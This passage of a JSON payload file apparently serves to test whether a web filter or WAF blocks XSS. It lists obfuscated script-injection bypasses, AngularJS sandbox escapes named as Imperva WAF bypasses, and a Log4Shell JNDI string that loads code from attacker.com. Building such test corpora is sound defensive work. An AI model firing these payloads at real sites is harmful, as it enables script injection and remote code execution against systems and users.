      "id": "XSS-FILT-232",
      "payload": "<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>",
      "tags": ["filter-bypass", "no-parenthesis", "prototype"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Parenthesis bypass via TypeError prototype",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-233",
      "payload": "<script x>alert('XSS')<script y>",
      "tags": ["filter-bypass", "tag-bypass", "malformed"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Tag blacklist bypass via attributes",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-234",
      "payload": "eval('ale'+'rt(0)');",
      "tags": ["filter-bypass", "word-blacklist", "concat"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via string concatenation",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-235",
      "payload": "Function(\"ale\"+\"rt(1)\")();",
      "tags": ["filter-bypass", "word-blacklist", "function-constructor"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via Function constructor",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-236",
      "payload": "new Function`al\\ert\\`6\\``;",
      "tags": ["filter-bypass", "word-blacklist", "template-literal"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via template literal escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-237",
      "payload": "setTimeout('ale'+'rt(2)');",
      "tags": ["filter-bypass", "word-blacklist", "settimeout"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via setTimeout concat",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-238",
      "payload": "setInterval('ale'+'rt(10)');",
      "tags": ["filter-bypass", "word-blacklist", "setinterval"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via setInterval concat",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-239",
      "payload": "Set.constructor('ale'+'rt(13)')();",
      "tags": ["filter-bypass", "word-blacklist", "set-constructor"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via Set.constructor",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-240",
      "payload": "Set.constructor`al\\x65rt\\x2814\\x29``;",
      "tags": ["filter-bypass", "word-blacklist", "hex-template"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Word blacklist bypass via hex template literal",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-241",
      "payload": "{{x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()}}",
      "tags": ["waf-bypass", "imperva", "angular"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Imperva WAF bypass via AngularJS constructor split",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-242",
      "payload": "{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}",
      "tags": ["waf-bypass", "angular", "fromcharcode"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "AngularJS no-quote bypass via fromCharCode",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-243",
      "payload": "{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}",
      "tags": ["waf-bypass", "angular", "toString36"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "AngularJS no-quote bypass via toString(36)",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-244",
      "payload": "%26%2397;lert(1)",
      "tags": ["filter-bypass", "html-encoding", "double-entity"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "HTML double-entity encoding bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-245",
      "payload": "></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>",
      "tags": ["filter-bypass", "html-encoding", "entity-function"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "HTML entity encoded function bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-246",
      "payload": "javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()",
      "tags": ["filter-bypass", "katakana", "obfuscation"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Filter bypass via Katakana obfuscation",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-247",
      "payload": "<sCrIpt>alert(1)</ScRipt>",
      "tags": ["filter-bypass", "case-sensitivity", "mixed-case"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Case-sensitive filter bypass via mixed case",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-248",
      "payload": "<ScrIPt>alert(1)</ScRipT>",
      "tags": ["filter-bypass", "case-sensitivity", "alternating"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Case-sensitive bypass via alternating case",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-249",
      "payload": "${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}",
      "tags": ["waf-bypass", "log4j", "jndi"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Log4Shell WAF bypass via env variable substitution",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-250",
      "payload": "<html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>",
      "tags": ["filter-bypass", "event-handler", "duplicate-attr"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via duplicate event attributes",
      "category": "XSS"
  }
]